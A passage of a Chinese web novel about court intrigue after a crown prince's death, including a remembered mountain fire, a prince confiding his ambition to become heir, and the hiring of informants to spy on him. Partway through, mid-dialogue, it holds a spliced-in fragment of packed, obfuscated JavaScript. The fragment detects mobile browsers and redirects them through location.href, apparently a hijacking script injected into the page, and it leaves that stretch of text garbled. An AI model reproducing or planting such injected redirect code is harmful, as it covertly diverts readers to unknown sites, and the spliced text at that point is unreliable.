朝韩时元看过去,韩时元也缓缓举起了右手。只是不知为何,他握越来越握紧宋景熙的右手,神色也越来越凝重,此刻,宋景熙居然从他的侧脸看到了一丝丝...悲伤?害怕? 二十多人只有八九人举手,三叔道:“大家都得活下去。会水的带着不会水的,水性好的多带几个。没得商量!咱们的命是连在一起的!但是,要是水流太急,遇上不好的情况,就不要想着救人了!先保自己的命,知道了吗?!” 众人点头过后,三叔从一个妇女手中接过那名婴儿,婴儿已经无力哭泣。他一只手举着婴儿下了水,缓缓朝水流的方向游去,待会能不能抗住水浪,连他自己也不敢保证。随即又有几名会水的拖着一两人下水。 宋景熙一边默默祈求李珘一定已经安全下山了,一边一脚踏进水里,但和韩时元紧紧相握的手却阻止了他,他扭头疑惑看去,韩时元正抿紧双唇,眼神里的悲伤和害怕更浓了。 这次宋景熙看得真切,“怎么了?” 韩时元悲伤地道:“老师还在山上。” 宋景熙道:“不会的,山上到处都没有老师的踪迹,他说不定已经下山了。他会在山下等我们,他一定...不愿意看到你出事的,不是吗?” 韩时元道:“他在光隐寺发了信号烟。你看。” 宋景熙朝那边看去,光隐寺就在群山之间,和这片湖泊在一条线上,说远不远,说近不近。虽然看不见寺庙的样子,却能看见大致在光隐寺的方位上,上空有一团浓黑的烟雾。信号烟发在空中时确实是这样的效果,但天上到处都是黑烟,谁比谁淡? 在光隐寺的周围,一圈火已经围上来了,即便现在风势渐弱,也不出半个时辰,整个山头都会被火海吞噬,而从湖泊到光隐寺,跑得再快,也至少需要半时辰,届时,光隐寺到湖泊的路也很可能已经被火截断了。 宋景熙不忍地道:“天上到处都是黑烟,不一定是老师发的信号烟。只有我们活着,才能知道老师是不是还活着不是吗......” 韩时元闭眼摇了摇头。 宋景熙咬了咬牙,心道反正顺着水下去也不一定能活着,想着想着便从水里走了出来,道:“走!我们一起,别浪费时间了!”说着,他便握紧韩时元的手,往光隐寺的方向冲去。但韩时元却依旧纹丝不动,只是悲伤地道:“我不要你和我一起。” 宋景熙:“你这是什么意思?你要抛下我,让我活着,你一个人去死?” 韩时元道:“我一个人去,你不要去。” 宋景熙道:“你一个人去什么去?!” 韩时元道:“我已经算好了,跑得快的话来回不过两刻,火烧上来至少需要半时辰。” 宋景熙想说话,但也许是因为方才太过激动,用力说话的缘由,浓烟呛进了他的嗓子,让他剧烈地咳了好几声,更让他脑袋变得昏昏胀胀的。抬眼望去,山顶的浓烟似乎越来越厚,厚到他快看不清眼前韩时元的脸了,能让他感觉到韩时元还在面前的只有两人还牵着的双手。 只需要两刻吗?他不清楚,或许韩时元说的是对的吧,毕竟是在山里住了七八年的,对于山路比他熟悉。真的对吗? “我会没事的,别担心。要是老师不在光隐寺,我会立刻折回这里,别等我,你先下去,你要安全地抵达河流的尽头,在那里等我。我会...没事的。” 宋景熙感到和韩时元连着的手断开了,随即有人重重撞上了他,竟然将他完全撞进了水里。他很快从水里浮了起来,耳边听到和他一起掉进水里的人拼命地扑腾,努力地喊着救命,完全就是不会游泳的样子。 他绕到溺水者的背后,将之托举了起来。这人是一张完全陌生的脸。 早已意识到了...... 他疲倦地带着人朝离岸的方向游去。过了一阵,很快就不需要他游动了,因为水流越来越强,不容拒绝地推着所有人往下去。久而久之,会水的人能做的最多只有不让自己淹到。 水流变得越来越急,势必要让敢跳进它身体里的凡人都晕头转向,不知天地为何物。不知顺流飘了多久,宋景熙好不容易清醒过来的时候,意识到只剩下自己一个人了,墙了几口水,还没清醒多久,一股强力撞上脊背。 ...... 再清醒过来的时候,宋景熙发现,自己正置身于一片被烧焦的黑色天地中。他连动一动手指的力气都没有,冰凉的溪水依旧潺潺地冲刷着他,周边没有一个人,只有他自己。 忽然之间,他好像听到很远很远的地方,有人在呼唤他的名字。 38. 国殇其二 哈——哈—— 宋景熙捂着头从梦中惊醒过来。 他居然又梦到了以前的事。要不是看见自己穿着丧服,他一定会以为自己还躺在眉寿山脚下。事实上,他在王宫中,而且已经在王宫里待了好几天了,因为王世子死了。那日他和郑禹原沈本庭他们在宋府听到的从王宫传来的号角声,就是在向王城的人宣告王世子薨逝了。 然后他就立刻入宫居丧了。世子的棺椁在宫中停了几天,他就在王宫里待了几天。父亲和长兄都是以官员的身份在前朝待着,就他一个人以宗亲的身份待在宫里居丧。 宋景熙默默思索着,他已经很多年没有以宗亲的身份踏入过王宫了,在小的时候,由于和宝爱翁主同日同岁,他还经常被祖母抱进宫里和翁主一同抚养,后来还多了个李澄。 说起李宝爱和李澄......这几日在宫里,他都还没见到过这两人,别的宗室子弟倒是见到了不少。不过也很正常,李宝爱和李澄多半正在王世子棺椁前日夜守着,而他这个不知道稀释了几辈的宗室血脉,当然连在灵前守棺的资格都没有了,宗亲子弟太多,他可挤不进去。 想着想着,宋景熙从榻上爬了起来,一边穿齐衣服,一边心道:“今天说不定会看见这两人。” 原因很简单,因为今天是王世子出殡下葬的日子,他是抬棺人之一。抬棺的时候,又轮到他们这群血脉稀薄的人了。送葬队伍要一直走到下葬的地方,是一件相当劳力的苦差事。 宋景熙醒得早,做准备也做得早,所以宫人来唤的时候,他第一个出了门。 出殡仪式繁冗复杂,宋景熙完全是按部就班。由于送葬路途遥远,靠双脚走要走很久,所以选定的抬棺人被分成了好几批,宋景熙被安排在第一批。在王世子棺椁出宫前,李宝爱和李澄也果然露了面,不过在这两人里,接下来宋景熙只能看见李澄了。因为在选择护送棺椁到达下葬园所的护送人时,王上选择了两个儿子,其中一位便是长子睿南君李澄,另外一位则是三王子瑞泉君。 送葬队伍一路吹敲奏唱的,行进了很久之后,终于换了下一批抬棺人,又行进了很久,终于到了整顿休憩的时刻,沿途搭建芦殿,供众人休息。宋景熙和一同抬棺的几个宗室子弟分在同一间里,这几个宗室子弟也是年纪轻轻的,长得相近,也挨得近,都挤在一团坐着,纷纷抱怨即便有杠夫帮忙也让他们累得不行,身上哪哪都疼。宋景熙默默听他们说话,心想这群人可能都是一个姓儿,没有他插进去的份。 一阵后,芦蓬的门忽然被掀了起来,走进来一个李澄。芦蓬里那几个子弟们都睁着眼睛盯着他看,眼神就是在问哪来的没礼貌的臭小子竟敢擅自进别人的芦殿。李澄见这群人没一点自觉,不耐烦地道:“有事,出去。” 一个子弟道:“为何突然让我们出去?这位贤弟未免太失礼数了吧。” 李澄道:“只认识我三弟,却不认识我?一群狗东西,滚出去。” 众子弟心里一琢磨,什么三弟?他们都认识? 宋景熙冷不防地道:“你来了,睿南君。” 听他这么一说,众子弟心里一惊,瞬间意识到眼前这位闯进来的正是睿南君,难怪说他们都认识他三弟,他三弟不就是瑞泉君吗?瑞泉君谁不认识啊!至于睿南君,虽然出身不好,那总也比他们好,失敬失敬,纷纷哄散了。 宋景熙扯了个草垫子过来,招手让李澄坐,李澄撇了撇嘴,不太乐意坐那群人坐过的。见状,宋景熙便将自己的草垫子让给李澄,李澄顿时又有了笑颜。 宋景熙好笑道:“上次还和我吵架置气,就好了?说吧,突然找我干嘛呢?” 李澄撇嘴道:“来道歉的。对不起,我知道错了。我早就没置气了,要不是没办法出宫,我早就来找哥了,还用等到现在?”忽然间,李澄的语气又低落了起来:“恐怕以后也没办法去找哥了。” 李澄居然会道歉,印象里李澄非常讨厌道歉,因为他从不认为自己做错过什么。虽然惊讶,但宋景熙还是批评道:“你本来就不该总是出宫找我。你毕竟是王子,总是偷偷出宫,不怪主上将你看得紧。” 李澄的表情变差了一点:“可我是想出宫啊!” 宋景熙道:“既然你想出宫,那为何还不成婚。成婚了就没人管你了,届时想去哪就去哪,多自在。” 李澄的表情变得更差了一点:“不想就是不想啊,哥不是也没成婚吗?” 宋景熙随口道:“我不一样,我要是成婚了就有人管着我了,多不自在。我喜欢一个人待着。” 李澄道:“为什么会被管着?” 宋景熙道:“呃...大概是因为......要对娶的人负责吧。” 李澄疑惑地道:“不负责不就行了,那就不会被管着了。男人一定要对女人负责吗?一定要对妻子负责吗?” 宋景熙还没回答,李澄锁紧眉头,似乎陷入了迷思当中,继续道:“那换做妾呢?睡过的婢女呢?也都要负责吗,事实上并不会负责,难道不是吗。” 虽然他是在发问,但语气很坚定,而且越来越话中有话,宋景熙听得一顿,心道李澄莫不是在说他生母? 李澄满脸疑惑地道:“负责究竟又是什么意思?假使爱着却让人死了,假使不爱却又让人活着,那么哪一者是负责,哪一者又是不负责?” 宋景熙道:“或许都是不负责?但是,有很多事情是我们没法控制的,和负不负责无关。” “哦。”李澄道:“既然是都不负责,那么哪一者更恶劣?” 宋景熙沉吟半晌,首先他确实不知道怎么回答,其次李澄明显是在指向其生母来问的,宋景熙觉得这是个不得不慎重的问题,所以还是不答清楚好点。果然,李澄看他一直在思考而不 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李澄的眼睛又闪了闪,但表情又渐渐沉寂了下去,也没有再说话了。 一直沉默着沉默着,宋景熙伸腰打了个哈欠的时候,李澄忽然念叨道:“只是因为是世子,所以有这样浩浩荡荡的丧礼,那么如果是君王呢,会不会更加浩荡。天底下拥有这样待遇的人,是一出生就拥有,还是自己争取来的呢?” 他这话有点不敬了,而且似乎话里有话,宋景熙眨了眨眼,还是道:“应该都有吧。” 李澄道:“护送的一路上,我望着前前后后摆成长龙的队伍,心里想的是,比起王世子,母亲下葬的时候真是简单。” 他记得非常清楚,在母亲的丧礼上,除了他好像也没有谁真的哭得很惨了。父王吗?父王当然掉眼泪了,但转眼就被下一个女人抹去了。 “你说的很对,应该都有。哥,我现在就在这么想。如果这些待遇是从一出生就有的话,从一出生,二弟就是世子,他有旁人都没有的荣华富贵,但他最后却没能坐上宝座,就像父王的长兄、那位废世子也一样,他一出生就拥有世子所该拥有的东西,可他最后却没能坐上宝座,那么人一出生就拥有的东西终究不是长久的吧,不是吗,不是吗??如果这些待遇是自己争取来的,父王从一出生就不是世子,可却因前世子是个废人,而他在众王子中表现出众,先祖最终选择了他继任王世子,而父王最后也成了君王。这、这些事情,是不是都能说明,争取来的,比天生拥有的,更加好用。争取来的才是长久的,是不是?” 宋景熙拧眉道:“你想说什么?” 李澄睁大眼睛道:“我都说得这样明白了,哥难道还不明白吗?” 宋景熙预感不妙,道:“你最好还是不要再说了......” 晚了。李澄握紧拳头道:“世子死了,我想争取王世子的位置!” 39. 国殇其三 他果然是这个意思!他居然真的是这个意思!宋景熙吓了一跳,赶紧比了个噤声的手势,低喝道:“你疯了?这里到处都是人!” 李澄也压低声音道:“我没疯!我只是觉得这是对的。哥没看见瑞泉君那个野心勃勃的样子吗?他一定抱着跟我一样的想法!” 野心勃勃?人家瑞泉君才十五岁,年纪轻轻得很,估计是因为守规矩,没出过宫,更没出过城,这回出城送葬,看见田里的耕牛吃草都能笑嘻了,好奇得很,还害怕自己看牛被侍从发现,只能斜着眼偷偷看,明明还正天真好奇着,哪里像个野心勃勃的样子? 不过瑞泉君没野心,不代表瑞泉君背后的势力没野心,瑞泉君的舅舅就是士林派的首领沈提学,沈氏是瑞泉君的外戚亲族。士林派被勋旧派打压多年,一定不会放弃扶持瑞泉君当选世子,这可是让士林派踩在勋旧派脑袋上的好机会啊,沈提学怕是不知道梦寐以求了多久。 况且在瑞泉君面前,李澄这个睿南君确实没什么胜算。不过......宋景熙道:“你忘了?还有世子嫔腹中的孩子。” 只要世子嫔生下了元子,那接手王位的就有可能是世孙,而不是世子,届时不管是瑞泉君还是睿南君,争来争去有什么意思?又轮不到他们。显然,瑞泉君或者说其背后的士林派一定在按兵不动、蠢蠢欲动着,期待世子嫔生个小郡主出来,这样他们才有机会。 李澄满脸不屑地道:“鬼知道那是个男的女的,父王有说过生的要是个元孙就封他为世孙吗?没说吧!再说整片国土交给一个不知资质品性的婴孩,那是在给上苍开玩笑!” 宋景熙顿时卡壳了,李澄说的还真不错。从这点考量来看,确实也有可能还是选择其他王子做世子,而且,众王子中最有机会的就是此次被选为护送人的睿南君和瑞泉君。 毕竟选护送人就是有讲究的,护送就意味着器重,接位的王世子也很有可能就要从护送人里选。要说睿南君和瑞泉君这两位王子里哪个当上王世子的可能性更大,那毫无疑问是后者。瑞泉君的生母是世家出身的拣择嫔御,除了薨逝的王世子,算得上是宫里出身最好的王子,相比之下,生母出身宫婢的睿南君就显得局促得多,在众王子中虽然最年长,却也是最被轻视的王子。 不过无论旁人如何轻视,王上本人却对李澄这个长子很是关注,因为李澄生母去世得早,宫里没有生母在世的王子只有他一个。对于李澄,亏欠似乎比宠爱还多。看来这就是王上选择李澄当护送人的原因了。 而这或许就是李澄认为自己有争一争的机会的原因。 宋景熙思量了一会后,决定避开这个争议的话题,于是又道:“可现在主上意思不明,正是在等待世子嫔的孩子出生再做决定吧。” 李澄嗤道:“生出来了就一定能活下来吗,万一中途夭折了呢?我夭折的兄弟还少吗?宫里出生的孩子,能活下来长成人就已经很难了。再说我为什么不能争取?父王的王位不也是他争取来的吗?先祖的也是!只要我配得上这些东西,我当然可以去争取,我也配得上!唔!” 见他越说越大声,越说越激动,宋景熙赶紧一把捂住了他的嘴,不让他继续说话,语气斥责道:“好了,你不要再说了。” 不怪他言语严厉,这种事本就不该拿出来谈论,尤其是现在,不该在这里。外边可都是走来走去的人,稍不留意声音就飘到芦殿外去了,万一被人听去,那多不好。 李澄不可能不明白这些,但一时着急于说服宋景熙,也就没能控制得住,这回反应过来了,便无辜地睁着眼睛点了点头,然而宋景熙刚放开他,他便又立即开口喊道:“哥!” 宋景熙扶额道:“你小点声。又怎么了。” 李澄乖乖道:“我不说这个了。” 宋景熙点头道:“好,你想说什么?” 李澄拧眉纠结了一会,道:“我只想问哥一个问题。” 宋景熙:“请说。” 李澄将身子倾了过去,和宋景熙面对面着,直勾勾地盯视着宋景熙的双眼,他嘴唇嗫嚅了两下:“哥,我、我......” 宋景熙疑惑地嗯了一声。在他眼里,李澄这个状态似乎又和之前完全不一样了。 两人大眼瞪小眼了一会,李澄忽然像泄气了一般,坐了回去,整个人好像被抽掉了筋一般,脑袋也耷拉着,用蚊子一般的声音飞速地说了一句话。宋景熙完全没听清,更加疑惑了,见李澄神色不好,以为他哪里不舒服,便伸出手放在他肩膀上,关心道:“睿南君?你不舒服?” “我......我没事。”李澄呼了一口气,胡乱拿手背搓了一把脸。宋景熙却敏锐地看到他手背上的水痕,“...你哭了?” 李澄一边将手背到身后藏起来擦了擦,一边晃脑袋道:“我没事。我只是想问......哥,会站在我这一边吗?如果有一天我想要争取那个位置的时候,其他人都不支持我的时候,哥会不会站在我这边?会不会支持我?人家都说君王是臣子选择的君王,我会是...哥心中的那个人吗?” 他说着说着,抽出一只手按在宋景熙放在他肩膀上的手上,握得越来越紧,死死握住,双目也紧紧地盯着宋景熙,仿佛一定要听到宋景熙确切的答案,最好是他想要的答案。 “......”宋景熙一下子沉默了,他不知道该怎么回答,他很明白李澄指的具体是什么。李澄是想问到时他和瑞泉君还有其他王子争夺世子位的时候,宋景熙会不会站在他那边。这个“站”就很微妙了,袖手旁观叫不叫“站”,不阻止叫不叫“站”?显然在李澄心里这些都不算,既然站在他这边,那就要帮助他。 帮助? 是想让勋旧派帮助他? 扪心自问,宋景熙觉得李澄的脾性并不适合接替王位,很黑暗地来说,宋景熙甚至觉得李澄要是上位了,那多半是昏君和暴君做派,世子之位...反而是瑞泉君更适合点。他这么想完全是出于他个人的想法,站在旁观者的角度来看的,并未考虑太多,而他怎么可能在李澄面前说出自己的这些想法呢?真说出来了,李澄不得一头撞死他啊。 还是算了,宋景熙觉得自己应该从另一个角度来劝说。 “我没有权势,如何支持得了你。” “哥怎么会没权势?哥的父兄不都、都很有权吗,哥愿不愿意为了我去说服他们?只要和他们说是为了阻止瑞泉君上位的话,他们一定会支持我的!” “......” 李澄的脸色阴了点:“哥不愿意?” “......”宋景熙叹息道:“我父兄不是我能劝说得动的,睿南君,你知道我父亲是个很不爱听旁人言语的人,我也不知道我父亲会谋算什么。我最多...最多只能做到不让他们反对你。” 李澄啊了一声:“那就足够了。”他露出一抹笑,继续小声说道:“只要他们不反对我,不支持瑞泉君,我就有机会。我也有我的谋算,届时,希望哥,还有哥的家人不要阻拦我。” 宋景熙感觉有点怪异,但说不出来。 “你打算怎么做?” “只是一些有助于我的计划罢了,拉拢盟友,我需要支持,我真的,真的太需要了,就算你们不支持我,我也会主动去找其他人来的。我需要能抵抗士林派的势力,不要问,哥,你以后会知道的,但愿到了那时,哥不会站在我对面。” 宋景熙感觉不对劲,十分的不对劲,直觉告诉他李澄在谋划什么大事,或者说,坏事?但李澄却不让他问了,并且双臂环在胸前,斜视过去,做出一副他继续问也绝对不会回答的模样。 “我无心阻止你。”宋景熙轻叹了口气,无奈道:“但我想要提醒一下,睿南君。但愿你不会走火入魔,也千万别做伤害无辜之人的事。” 李澄收敛笑容,因为并不喜欢这句话,所以张口还想说什么,却见宋景熙直接站了起来,掀开芦蓬门一侧,轻声道:“我对追求权势没兴趣,也对帮人追求权势没兴趣,我只希望你身体康健,吃得好,睡得香,这就已经很好了。” 说罢,便走出了芦殿。 几日后,丧礼结束,宗室子弟们终于可以被放走了。 天色沉沉的,一丝其它的颜色都没有,让人抬头欣赏一眼的欲望也都没有。 宋景熙抬头看了一眼,心中叹息一声,这是要下雨啊。 出了宫门以后,行人都匆匆的,谁也不会施舍谁一眼,宋景熙心情复杂地往沿着街道走去。他不是不知道该去哪,相反,他很知道,也加快了脚步,他要去找全百事。 片刻后。 见到老熟人,原本还一脚踩在摊位上,吆喝着“百事通,全知晓。全氏兄弟,为您服务”的大全登时双眼发亮,两手摩擦一番,招呼道:“啊!宋公子!” 宋景熙笑着回应道:“好久不见。” 大全爽朗地笑道:“那还真是蛮久不见了哈!诶宋公子,我猜,您这又是给我们找事情做了吧?哎呀,好说好说,只要价格谈得拢,我们必定为您赴汤蹈火在所不辞!” 小全坐在地上,没抬头道:“这次需要五倍价钱。” 大全面色一凛,踢了小全一脚。他们上次拿了宋公子七倍的价钱,已经是太超过了,这还狮子大开口,真不怕老客户粉转黑啊?! 被他这么一踢,小全也就闭嘴不说话了。 宋景熙哈哈道:“十倍。” “......” “......” “???”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773788|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “!!!” 大全回神过来,兴奋地道:“啊啊啊好!好啊!这活我们干了!” 宋景熙捧腹道:“我还没说干什么活呢。” 大全更加兴奋道:“就是去杀天王老子我们也干!” 不怪他这么兴奋,他们是按出活的事件类型收钱的,这位宋公子每次让干的又都不是普通事件,一倍也就是正常的价钱已经够贵了,何况是十倍??够他们所有弟兄掀摊子休息一年不干了。他们平常接的最多的活路就是替人抓外室,然而就是在这闹市摆摊摆上个大半年的,抓个大半年的,抓上十个外室,也决计拿不到这么多钱。再者出手阔绰又不拖欠酬金的顾客少之又少,像宋景熙这样的,可得好好把握,就算是给大王的老婆抓外室,那也抓!! 小全也罕见地露出了吃惊的神情,但还是比他大哥冷静点,谨慎地道:“这次的事情,恐怕是很难办吧。” 宋景熙道:“就是难办才出这么多钱的。不能让你们白干了。” 难办的话,那肯定不是什么方便当街说的了。小全道:“进屋说。” 宋景熙又跟着小全走进摊位后面的破屋子里,大全在外面守着。宋景熙刚踏进去,小全便道:“有多难办?比上次的还难办?” 宋景熙想起上次在金氏药铺的闹剧可让全氏兄弟头疼坏了,不好意思地笑道:“大概吧。”又道:“但也不会很麻烦,应该。这次我想让你们替我监视一个人。” “谁?” “睿南君,名为李澄。” 没错,宋景熙就是要让全百事监视李澄。这是他深思熟虑出来的结果。李澄一定在谋划着什么,而且既然不能告诉他,那大概不是什么好事情,用脚趾头也能想出来肯定和争取世子之位有关。 他想起李澄说的最后几句话,他说,他需要支持,需要盟友。 那再用脚趾头想一想,也能想出来肯定是要去找朝中大臣联络,把他们拉为盟友。盟友?那还有谁呢,能对抗瑞泉君的士林派的人,只有士林派的死对头勋旧派。勋旧派里的世家众多,韩氏,宋氏,郑氏,还有其他几个知名度不如这三者的世家,比比皆是。不过李澄似乎没把宋氏当作盟友,既然如此,那他究竟想选谁? 郑氏吗?这个很有可能。但郑都提调只是武官,到时候要是群臣在朝廷上和王上议论立储之事,郑都提调肯定说不过士林派那群自诩清流的儒臣,甚至可能会因为粗鲁和嘴笨而被嘲笑,最后动手打起来,反而不利于李澄取位,显然不是个最优选。 韩氏吗?这个也不太可能。毕竟无论是韩义亨、韩圣吉还是韩明吉,都是子承父脉,天生有种高人好几等的优越心,对宋氏和郑氏这种正儿八经的两班世家都有着淡淡的歧视,更别说李澄这种处于尊贵和低贱之间不上不下的身份尴尬的人了。韩氏根本看不起李澄,不可能支持李澄,李澄又是个自尊极强的人,绝不可能卑躬屈膝人受侮辱。这两伙人根本合不来,排除排除。 由此看来,宋景熙还是不明白李澄究竟在想什么,经过他这么一番简单思考,想到李澄可能会尝试和很多世家私下沟通。李澄人在宫中,因王上下令而导致其出宫受限,根本不准被出宫,自然也就无法见到朝廷官员,如若他想联络那些人,只能通过书信,书信又不可能他亲自送过去,那肯定是有中间人,中间人出了宫,就能被找到了,找到了中间人,就能监视起来。所以具体来说,要监视的不完全是李澄,而是替李澄送信的人。不惊动朝廷的最方便的监视的人选是什么,那必定是全百事! 由于涉及到宫中,所以宋景熙还是谨慎的抬价了,抬成十倍。 “......”听到睿南君这三个字,小全道:“果然。” 宋景熙道:“什么果然?果然贵有贵的道理,对吧。不过你放心,这不需要你们进宫,只是如此如此那般那般......” 听完他的计划,小全沉思片刻,而后道:“也就是说,只需要我们找到那名中间人,并监视此人的行动?” 宋景熙道:“没错。难就难在需要找到中间人,也就意味着你们得付出点精力监视宫墙了,这很危险,所以我才会报高酬金。另外,不需要你们得到书信的内容,只需要告诉我中间人是谁,以及在和谁联络。若是人员很多,届时整理名单告知我便是。当然了,最好,最好还是能在不惊动任何一方的情况下得到书信内容,若是不能,便算了。” 小全点头道:“知道了。” 宋景熙哈哈一笑:“这次倒是接手得迅速。” 小全淡淡地道:“不快不行啊,已经入秋了,再过两三个月汉阳就要下雪了,弟兄们要吃饱穿暖。放心吧,我们会好好办出结果。” 宋景熙拱手道:“那就多谢了。” 40. 国殇其四 ——曳扇台—— 李珘重重地咳了一声,终于将韩时元咳回神了。 李珘拎起纸张吹了一下未干的墨迹,瞥向韩时元道:“又想他了?” 正在检阅书架的韩时元身形一顿,淡声道:“既然您知道,何必打趣我。” 李珘吹胡子道:“臭小子!他才离开多久,工作就这么不上心了,不是发呆就是在沉思。” 韩时元道:“二十八日。” “......”李珘咬了咬笔杆。 韩时元安静看起书来,过了会,他似乎是听到了什么,便朝窗外看去,细密的雨丝落在庭院中。 他再次道:“下雨了。” 李珘朝外看了一眼,又盯着韩时元看了一眼,韩时元依旧在看书,神态很沉稳,似乎只是随口说了一句下雨了,但...... 李珘嘿嘿一笑,随即衣袖一挥,拍拍腿,大方道:“入宫的宗亲今日就该被放出来了,这雨怕是要下大,你带把伞,去接他去吧。淋病了不好。” ...... 离开闹市后,宋景熙走在寂静的街坊里,没有人打扰他,现在该办的事情可算办了,他也终于不用那么愁眉不展了,总算有自己想一想的时间了。想一想他做的梦。 几天前在王宫里,他梦到六年前在眉寿山的事,倒不像是梦,根本就是将他那一次的经历完完全全复映在了他眼前,只不过并不完整。 在河滩边醒来之后,自己很快便被家人找到,不过在返城的路途上又晕了过去,而且一晕就是好几天。再醒来的时候,听说眉寿山的大火被一场连夜的暴雨浇灭了,真是一场奇迹。 又听说,那位“三叔”活了下来,并且告知汉阳禁火司是有一伙人故意放火,这才造成了这场劫难。后来查清了,就是五个愤世嫉俗的附近村民因曾在寺中许愿而心愿不成,不满于光隐寺,这才迁怒于整座眉寿山。其中三个都在山火中一并死了,剩下两个苟活的被抓了起来,凌迟处死,脑袋现在还挂在城门口。 话又说回来,宋景熙自从府里醒来之后,一直吵着闹着要上山找人。家人都以为他是想像旁人一样,上山找找亲朋好友的尸身,但他们这位小儿子能在眉寿山有什么亲朋好友?于是纷纷认为他是在山火里被吓到了,所以轮流看守着关在府里,不让出去。 彼时,官衙也已经派人找过了,算上上山寻尸的百姓,一共找到三十四具尸体。 然而,向官府报案的、官府记载在册的眉寿山失踪人数是五十七人。 宋景熙被长兄推着出去看了,每具尸体都被烧成黑色,除了能辨认出是个人以外,根本辨认不清这一具是谁,那一具又是谁。这还只是没被烧成灰烬的,那些凭空消失的人,怕是早已与眉寿山融为一体了。如果想凭每个人都随身携带的腰牌来认尸的话,平民百姓的腰牌都是木制的,早就一样烧成炭了。 只有李珘好辩认,哪具尸体身上有象牙腰牌,哪具尸体就是他。 这三十四具尸体都是木制腰牌,或者没有。 认得出来的家属领着尸体走,认不出来的也胡乱领了一具走,没被领走的,就由官衙负责安葬了。 不久后,不少执着于上山寻尸的人声称自己看见了冤魂,有男有女有老有少,据说只要碰见了这些鬼魂,鬼魂们就不会让上山之人出去。上山之人迷路了,一直绕啊绕啊绕,最后活活把自己绕死。起初,大家都觉得传言罢了,都是害怕在作祟,结果不久后真的有名男子悄悄进山后消失了,好多天过后,被人找到的时候,人已经没了,从山崖上摔下来的,胸膛朝着地面,五官却朝着天上,四肢都摔断了,一派扭曲之相,表情惊恐,瞪着眼睛,死状可怖。之后,由于害怕眉寿山上冤魂太多,草木长不起来,又是行巫又是降神,请神来送魂走,兴师动众大半个月,等巫女宣布魂灵都安息后,整座眉寿山便被封锁了起来,不允许任何人进入。 在山火刚开始蔓延时选择下山而幸存下来的僧人们在封山前回到眉寿山,找出了部分压在寺庙废墟下的僧众尸身并安葬。他们原本打算先清理光隐寺的残骸,再重建起光隐寺,然而清理残骸的打算都还没开始施行,眉寿山就恰好被封山了。不过这没拦住宋景熙,等撞出来的皮肉伤好了,等撞裂的骨头愈合了,宋景熙又上山寻人了,而且就是从光隐寺开始找,因此,宋景熙偷偷上山回到光隐寺的时候,在光隐寺的废墟里找了很久,没有结果。满山遍野都没有新的尸身了。 他没气馁,继续找。第一次,草皮开始露新尖,他没找到;第二次,树枝开始露新芽,他没找到;第三次,湖泊开始结冰,河水断流了,他没找到;第四次,冰和雪开始融化了,他没找到。后来,还是没找到。 在被发现几次后,汉阳人都开始传了:那个宋参判的小儿子,整天疯疯癫癫的样子,学也不上了,就知道在山上晃荡,念叨着找人啊什么的,是不是被吓疯了啊! 就连郑禹原和沈本庭都来问他,是不是被吓到了? 好吧,宋景熙承认自己是有点执着,但真的不至于到疯疯癫癫的程度。对于谣言,宋景熙本来对此毫不在意,家里人再怎么说,他也要坚持上山找人。直到有一天,母亲差点跪下来求他不要再这样了。 之后,宋景熙决定做个正常人。 当了几年正常人了,他本来都要相信人真的死了,接受大家口中的无人生还。现在,那两个让他“不正常”的人又突然出现在他面前了??说真的,一时之间,他都知不道到底哪个更难让他接受。哪一个情况,他都难受至极。 怎么没死,怎么活下来的,怎么不告诉他。 他真的想不到。 天色越来越暗了。 刚走出闹市没多久,头顶乌云密布的天穹轰隆了一声。 宋景熙感觉有一滴雨滴到了脸上,冰冰凉凉的。他伸手抹了一下,不知为何,这滴雨水好像凉到心里去了,竟然让他不禁打了个寒颤。他凝视着指尖上擦去的水渍默默无言。很快又有几滴雨落在手背上。 几道雷从耳边炸响。 行人都朝天上的裂痕看去,然后继续走自己的路,只是无声无息加快了脚步。 其实心里都在叹,这是要下暴雨啊。 宋景熙也加快脚步赶路,往曳扇台的方向去。一边拿手挡着额,一边内心祈愿自己在赶到时不要淋湿得太狼狈。 不过,暴雨往往是不给面子的,老天爷说要下盆雨浇死人就绝对不会手轻。这不,还没走出百步,雨点就打得他无所适从了,衣摆湿了,帽冠也湿了。滴滴雨珠绵绵不绝地从圆形帽檐边落下来,在他眼前形成一道透明的雨帘。要不是脑袋凉凉的,宋景熙肯定会觉得这雨帘很美。 现在他有点后悔方才没先回闹市买把伞了,否则不会只能跟着其他一样没伞的路人一起躲在别人屋檐下了。他将帽绳解开,将黑笠取了下来,一只手拎着帽檐抖了抖,一只手摸了摸脑袋,出乎意料,居然没怎么被雨打湿,原来脑袋凉凉的是他的错觉。 正送了一口气,忽然,有一只手伸了过来,竟是站在一旁和他一样躲在这户人家檐下躲雨的男子,男子手里握着一只帕子,朝他“哎呀”了一声:“公子要是不嫌弃的话,就拿这帕子擦一擦吧。帽子都是水的话戴着会不舒服的啊。” 宋景熙一愣:“这......”他话未说完,男子已经将帕子丢到他手中的黑笠上了。 宋景熙哭笑不得,急忙拿起帕子,这帕子干干净净的,正中绣着一朵绽放的紫色花朵,一看便是位心灵手巧的女子绣出来的。他忽然便不好意思拿帕子擦黑笠了,但男子看着,也不好辜负这位大哥的心意,便只好缓缓捏着帕子擦拭黑笠,感激地道:“多谢。” 男子道:“哎呀不用谢的啦,随手帮个忙,佛祖保佑咯!” 佛祖保佑?这个口头话,宋景熙觉得怪熟悉的,这下想起来信佛的祖母几年前还在世的时候,就爱说“佛祖保佑,功德圆满”诸类的话。于是笑道:“大哥信佛?” 男子摆手道:“不是!是我老婆信佛哦!她正有着身子,让我在外面多做点好事,好给孩子攒攒福气,让孩子平平安安地生出来。我本来是不信佛的嘛,但我们上一个孩子没能生下来,后来天天求神拜佛的,现在好不容易才有的嘞,不信也得信嘛!” 宋景熙由衷地祝福道:“大哥人这么好,肯定攒了很多功德了,一定会母子平安的。” 男子道:“谢谢!唉,说起来,真是辛苦我老婆了,现在下这么大的雨,还要辛苦她给我送伞来。不过等她月份再大点,我就享不到这福气了,不能再劳烦她了嘞。” 